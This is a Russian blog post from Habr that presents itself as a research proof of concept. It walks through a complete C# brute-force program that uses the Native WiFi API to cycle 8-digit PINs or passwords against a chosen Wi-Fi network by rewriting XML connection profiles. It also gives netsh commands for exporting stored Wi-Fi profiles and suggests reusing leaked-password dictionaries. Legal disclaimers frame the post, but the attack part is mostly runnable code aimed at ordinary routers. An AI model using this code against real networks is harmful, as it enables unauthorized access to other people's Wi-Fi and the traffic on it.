Брутфорс соседского Wi-Fi (в исключительно исследовательских целях)

40daf3e5070995dc6e24c546a62efe90.png

Надежные и постоянно меняющиеся пароли — это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#

Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы «брутфорс» (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.

И так

Самый скучный, но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:

  1. ст. 272 УК РФ. Неправомерный доступ к компьютерной информации

  2. ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ

  3. ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений

  4. ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации

Взламывать чужие Wi-Fi роутеры — это очень плохая идея.

Тем не менее, в качестве «proof of concept» попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.

Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта — об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.

Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API — далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.

Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces и выбрать адаптер по его Id — узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд — этот способ более удобен для точечного вытаскивания профиля к нужной сети:

netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:\WlanProfiles

Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем — так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.

В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция «sharedKey», поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более «промышленного» решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.

С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что »9 женщин не родят ребенка за месяц», ведь использование 9 адаптеров сократит подбор пароля до 257 дней — почти 9 месяцев : D

Шаг 1 — Подготовка решения

Для начала склониуйте проект ManagedWiFi — это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API — последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.

Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение — у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.

Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:

WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
  	wlan.Scan();
  	Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
  	foreach (Wlan.WlanAvailableNetwork network in networks)
    {
      	string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
      	Console.WriteLine(ssid);
    }
}

Шаг 2 — профиль для Wi-Fi

Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:

string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

string profileXml = string.Format(
                "{0}{1}{0}ESSmanualfalseWPA2PSKAESfalsepassPhrasefalse{2}0",
                profileName, hex, key);

Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:

try
{
  wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
  wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
  await Task.Delay(2 * 1000);
}
catch (Exception e)
{
  Console.WriteLine(e);
}

Шаг 3

Соберем все что получилось в одном месте и попробуем запустить:

using System.Text;
using NativeWifi;

// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
  OutputExtensions.PrintRow("No networks found");
  return;
}

// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
        .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");

// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
  string wpsPin = $"{i}";
  wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
  Console.WriteLine($"Trying pin {wpsPin}");
	
  string profileXml = string.Format(
    "{0}{1}{0}ESSmanualfalseWPA2PSKAESfalsepassPhrasefalse{2}0",
    profileName, hex, wpsPin);

  try
  {
    wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
    wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
    // Тут задается время ожидания для попытки
    // В моей конфигурации это 2 секунды, но
    // время придется подбирать вручную
    await Task.Delay(2 * 1000);
  }
  catch (Exception e)
  {
    Console.WriteLine(e);
  }

  if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
  {
    Console.WriteLine($"WPS pin is {wpsPin}");
    break;
  }

  Console.WriteLine($"WPS pin {wpsPin} did not work");
}

Вместо заключения

Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.

Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к «правильной» сети.

В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры — это очень плохая идея.

© Habrahabr.ru